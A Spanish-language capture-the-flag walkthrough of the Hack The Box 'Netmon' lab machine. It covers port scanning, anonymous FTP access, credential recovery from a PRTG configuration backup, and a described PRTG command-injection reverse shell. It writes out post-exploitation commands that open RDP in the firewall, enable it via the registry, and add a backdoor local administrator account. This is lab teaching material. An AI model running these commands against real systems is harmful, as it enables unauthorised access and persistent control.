Posts Hackthebox Netmon Writeup (OSCP Style)
Post
Cancel

Hackthebox Netmon Writeup (OSCP Style)



Información de la máquina.

ContenidoDescripción
OS:enter image description here
Dificultad:Fácil
Puntos:20
Lanzamiento:02-Marzo-2019
IP:10.10.10.152
Primera sangre de usuario:Baku
Primera sangre de system:[snowscan](https://www.hackthebox.eu/home/users/profile/9267
Creadores:mrb3n

Reconocimiento.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts netmon.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 11:41 CDT
Nmap scan report for netmon.htb (10.10.10.152)
Host is up (0.15s latency).
Not shown: 62116 closed ports, 3406 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
ParámetroDescripción
-p-Escanea los 65535 puertos de la máquina.
–openMuestra solo los puertos abiertos.
-T5Velocidad del escaneo muy agresiva.
-nDesactivar la resolución de nombres DNS.
–min-ratePaquetes por segundo.

Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
intrusionz3r0@kali:~$ nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -oN targeted netmon.htb -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 11:44 CDT
Nmap scan report for netmon.htb (10.10.10.152)
Host is up (0.16s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -6s, deviation: 0s, median: -7s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-09T16:45:15
|_  start_date: 2020-09-09T16:40:57

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.73 seconds

ParámetroDescripción
-sCVEs la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios.
-pEspecifica los puertos a enumerar.
-oNExporta el escaneo en formato nmap.

Resumen de puertos.

Los puertos que mas destacan son:

  • Puerto 21 FTP: con el usuario Anonymous habilitado.
  • Puerto 80 HTTP: con una aplicación PRTG Network Monitor.
  • Puertos 139,445 con un servicio Samba.
  • Puerto 5985 con un Winrm.

Enumeración Samba.

Utilizare la herramienta smbclient para ver los recursos compartidos utilizando sesiones nulas.

1
2
intrusionz3r0@kali:~$ smbclient -L netmon.htb -N
session setup failed: NT_STATUS_ACCESS_DENIED

Pero lamentablemente no tenemos acceso, por lo que pasaremos a otro puerto.

Enumeración FTP.

Para enumerar el servicio FTP podemos hacerlo de varias maneras.

Método 1: FTP (normal)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
intrusionz3r0@kali:~$ ftp netmon.htb
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:intrusionz3r0): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19  12:18AM                 1024 .rnd
02-25-19  10:15PM       <DIR>          inetpub
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.

Método 2: wget

1
intrusionz3r0@kali:~$ wget --no-passive --no-parent -r ftp://Anonymous:pudin@netmon.htb

Método 3: curlftpfs

1
2
intrusionz3r0@kali:~$ mkdir /mnt/HTB/Netmon
intrusionz3r0@kali:~$ curlftpfs Anonymous:loquesea@netmon.htb /mnt/HTB/Netmon

Esta vez usare el método 3.

Me monto el contenido del FTP y comienzo a enumerar el contenido.

Nos encontramos con una estructura muy parecida a la una unidad de disco.

Podemos pasar a recoger nuestra prestigiosa flag de user ya que no hay mucho que hacer por ahora.

Enumeración HTTP.

Abro mi navegador y me dirijo a http://netmon.htb/index.htm.

Nos encontramos un software llamado PRTG Network Monitor.

Como atacantes necesitamos saber a que nos estamos enfrentando por lo que te recomiendo que siempre busques sobre la funcionalidad del software.

Hago una búsqueda en Google y encuentro lo siguiente:

Ahora que sabemos un poco mas sobre este software podemos continuar.

En la página principal nos encontramos con un panel de login.

Te recomiendo que siempre que te encuentres con un panel de login y tengas el nombre del software o gestor de contenido investiga cuales son las credenciales por defecto.

Haré una simple búsqueda con palabras claves.

Podemos observar cuales son las credenciales por defecto de PRTG Network Monitor , pero lamentablemente las credenciales no son validas.

Enumeración FTP (2).

Si recuerdas tenemos acceso al disco por FTP por lo que haré una búsqueda en Google para encontrar si existe un archivo de configuración donde se almacenen las credenciales.

Hago una búsqueda en Google.

Web: https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data.

Dentro de esa página encontramos lo que parece ser algunas rutas donde se almacenan los archivos importantes.

Ahí encontraremos algunos archivos de los cuales podemos obtener información sensible.

Ruta: C:\Users\All Users\Paessler\PRTG Network Monitor

Si nos vamos a la ruta anterior encontraremos lo siguiente:

El archivo que mas destaca es: PRTG Configuration.old.bak

Abro una terminal y ejecuto el siguiente comando en busca de unas posibles credenciales.

1
intrusionz3r0@kali:~$ cat "PRTG Configuration.old.bak"  | grep password -C 3  | less -S

¡¡Eureka!!

Tenemos unas credenciales.

Rápidamente regreso al navegador e intento probar las credenciales pero me retorna un mensaje de que las credenciales son incorrectas.

Lo que me hace pensar en que como el archivo PRTG Configuration.old.bak era un respaldo muy viejo la contraseña pudo cambiar por lo que modifique la contraseña de PrTg@dmin2018 a PrTg@dmin2019 .

y…

Versión: 18.1.37.13946.

Análisis de vulnerabilidades.

Comenzaremos a realizar una búsqueda en Google para ver si esta versión esta asociada a alguna vulnerabilidad.

Web: PRTG < 18.2.39 Command Injection Vulnerability .

Explotación de vulnerabilidades.

Según el articulo nosotros somos capaces de inyectar comandos a través de un panel de notificación que permite la ejecución de programas.

Nos dirigimos a Account Settings -> Notifications -> Add Notification -> Execute Program.

Creamos una nueva notificación a la que le pondré de nombre Reverse shell y en la sección de Programa a ejecutar escribo lo siguiente:

Lo que haré a continuación será montarme un servidor con samba que comparta el binario de nc.exe para mandarme una reverse shell directamente desde mi servidor utilizando la vulnerabilidad.

Ejecutamos la notificación.

¡¡Somos Administradores!!

enter image description here

Escritorio Remoto.

Antes de terminar me gustaría conectarme de manera remota a la máquina, para ello creo una regla de firewall que permita el trafico de entrada y salida por el puerto 3389.

1
2
C:\Windows\system32>  netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
C:\Windows\system32>  netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=out localport=3389 action=allow

Después habilitamos el RDP modificando los registros.

1
C:\Windows\system32>  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Después nos creamos un usuario y lo convertimos en administrador.

1
2
C:\Windows\system32> net user intrusion Hola123! /add
C:\Windows\system32> net localgroup Administrators intrusion /add

Por ultimo solo utilizamos remmina para conectarnos vía escritorio remoto.

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.